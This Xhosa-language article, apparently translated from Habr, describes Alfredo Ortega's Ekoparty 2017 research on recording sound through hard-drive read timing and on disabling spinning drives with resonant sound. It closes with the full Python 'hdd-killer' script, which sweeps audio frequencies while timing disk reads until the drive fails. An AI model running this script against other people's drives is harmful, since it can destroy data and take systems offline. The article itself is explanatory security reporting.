Kutheni ungafanele ukhwaze kwi-HDD yakho

Kutheni ungafanele ukhwaze kwi-HDD yakho

Kwinkomfa yokhuseleko lwekhompyuter ye-Ekoparty 2017 e-Buenos Aires, i-hacker yase-Argentina u-Alfredo Ortega wabonisa uphuhliso olunomdla kakhulu-inkqubo yokufihla i-wiretapping yezakhiwo ngaphandle kokusebenzisa imakrofoni. Isandi irekhodwe ngqo kwi-hard drive!

I-HDD ithatha ubukhulu becala izandi ezisezantsi-zandi, iinyawo kunye nokunye ukungcangcazela. Intetho yomntu ayinakubonwa, nangona izazinzulu benza uphando kweli cala (ukuqatshelwa kwentetho ngokushukuma okuphantsi, okurekhodwa, umzekelo, kwi-gyroscope okanye i-HDD).

Isandi kukungcangcazela komoya okanye enye indlela. Umntu uzibona ngegubu lendlebe, elithumela ukungcangcazela kwindlebe engaphakathi. Imakrofoni iyilwe ngokusondeleyo njengendlebe - apha, kwakhona, ii-vibrations zirekhodwa ngenwebu encinci, evuselela amandla ombane. I-hard drive, ngokuqinisekileyo, ixhomekeke kwi-vibrations microscopic ngenxa yokuguquguquka komoya ojikelezayo. Oku kwaziwa nakwiimpawu zobugcisa ze-HDDs: abavelisi bahlala bebonisa inqanaba eliphezulu lokungcangcazela elivumelekileyo, kwaye i-hard drive ngokwayo izama ukuyibeka kwisitya sobungqina be-vibration esenziwe ngerabha okanye ezinye izinto ezikhuselayo. Kule nto kulula ukugqiba ukuba izandi zinokurekhodwa kusetyenziswa i-HDD. Into eseleyo kukufumanisa ukuba njani.

UAlfredo Ortega ucebise inguqulelo eyodwa yohlaselo lwetshaneli esecaleni, eyile, uhlaselo lwexesha. Olu hlaselo lusekelwe kwingcinga yokuba imisebenzi eyahlukeneyo yenziwa kwisixhobo ngamaxesha ahlukeneyo, kuxhomekeke kwidatha yegalelo elinikiweyo. Kule meko, "idatha yokufaka" kukushukuma kwentloko yokufunda kunye ne-HDD platter, ehambelana nokunyakaza kokusingqongileyo, oko kukuthi, ngesandi. Ngaloo ndlela, ngokulinganisa ixesha lokubala kunye nokwenza uhlalutyo lweenkcukacha-manani, ukuxubha kwentloko / isitya kwaye ngoko ke ukuxubha okuphakathi kunokulinganiswa. Okukhona ukulibaziseka kokufunda idatha, kokukhona i-HDD ishukuma ngamandla kwaye, ngoko, isandi esikhulu.

Indlela yokulinganisa i-hard drive vibration? Ilula kakhulu: vele usebenze umnxeba wenkqubo read () - kwaye urekhode ixesha elithathayo ukugqiba. Iinkqubo zokusebenza zanamhlanje zikuvumela ukuba ufunde ixesha leefowuni zenkqubo ngokuchaneka kwe-nanosecond.

Isantya solwazi lokufunda oluvela kwicandelo luxhomekeke kwindawo yentloko kunye nesitya, esihambelana nokungcangcazela kwecala le-HDD. Kuko konke.

Uhlalutyo lweenkcukacha-manani lwenziwa kusetyenziswa into eluncedo ye-Kscope elula. Njengoko bethetha, yonke into enobuchule ilula.

Kutheni ungafanele ukhwaze kwi-HDD yakho
Usetyenziso lweKscope (stat() syscall)

I-Kscope sisixhobo esincinci sokujonga umahluko omncinci kumaxesha okwenziwa komnxeba. Umthomboipapashwe kwi-GitHub.

Kwindawo yokugcina eyahlukileyo HDD-ixesha kukho uguqulelo lwezinto eziluncedo eziqwalaselwe uhlaselo lwexesha kwi hard drive, oko kukuthi, iqwalaselwe ukuhlalutya umnxeba wendlela. read ().

Umboniso wokurekhoda kwesandi usebenzisa i-HDD, ukusebenza kwe-Kscope utility


Ewe, intetho ayinakuqondwa ngolu hlobo, kodwa i-HDD ifanelekile njengenzwa yokungcangcazela. Umzekelo, unokubhalisa ukuba umntu onxibe izihlangu ezinzima okanye ongenazihlangu wangena kwigumbi elinekhompyuter (mhlawumbi, ukuba umhlaseli unxibe iiteki ezithambileyo okanye kukho ikhaphethi engqindilili emgangathweni, i-HDD ayinakukwazi ukubhalisa ukungcangcazela - oku kufanelekile ukujonga). Ikhompyutha iyakwazi ukubhalisa iglasi eyaphukileyo okanye ezinye iziganeko ezinobunzulu besandi esinamandla. Oko kukuthi, i-hard drive inokusebenza njengohlobo lwenkqubo yokufumanisa ukungena okungagunyaziswanga.

HDD umbulali

Ngendlela, indlela efanayo ingasetyenziselwa ukukhubaza ii-hard drives. Kuphela apha asiyikususa i-oscillations kwi-HDD, kodwa ngokuchaseneyo, senza i-oscillations ezondliwa kwi-HDD. Ukuba udlala isandi kwisithethi kwi-frequency ehambelana ne-HDD frequency, inkqubo ngokukhawuleza icima isixhobo ngempazamo ye-I / O (i-Linux kernel icima ngokupheleleyo i-HDD emva kwemizuzwana ye-120). I-hard drive ngokwayo inokuba nomonakalo ongenakuguqulwa.

Kutheni ungafanele ukhwaze kwi-HDD yakho
I-Linux kernel yacima i-hard drive emva kwemizuzwana ye-120 yokuhambisa isandi kwi-resonant frequency ngesithethi se-Edifier r19u isithethi se-USB. Isithethi sivulwa malunga nekota yamandla (ngaphantsi kwe-100 mW) kwaye ifumaneka kwi-20 cm ukusuka kwi-HDD, ejoliswe kwitheyibhile ukunyusa ukungcangcazela. Isakhelo ukusuka iklip yevidiyo ngomboniso wombulali we-HDD

Kuyathakazelisa ukuba "ukuhlaselwa" okunjalo kwii-HDD ngamanye amaxesha kwenzeka ngokupheleleyo ngengozi kubomi bemihla ngemihla. Ngokomzekelo, ngoSeptemba 2016, isikhungo sedatha ye-ING Bank saphoqeleka ukuba simise imisebenzi kwiiyure ze-10 emva kokucima umlilo. Uninzi lweehard drives aziphumelelanga ngenxa yesandi esikhulu segesi ye-inert ekhutshwa kwiisilinda phantsi koxinzelelo oluphezulu. Isandi sasiphezulu kakhulu (ngaphezu kwe-130 dB), kodwa awukwazi nokukhwaza kwii-hard drives - oku kwandisa ukulibaziseka ekufikeleleni kwi-HDD.

Ukuboniswa kokukhala kwabantu kwii-hard drives kwiziko ledatha. Umlinganiselo wokubambezeleka


Ukuvelisa isandi esivakalayo, uAlfredo Ortega wabhala iskripthi sePython esibizwa ngokuba umbulali we-hdd (umboniso wevidiyo).

HDD umbulali script Incinci kakhulu, ngoko ungayipapasha iyonke apha.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

umthombo: www.habr.com

Yongeza izimvo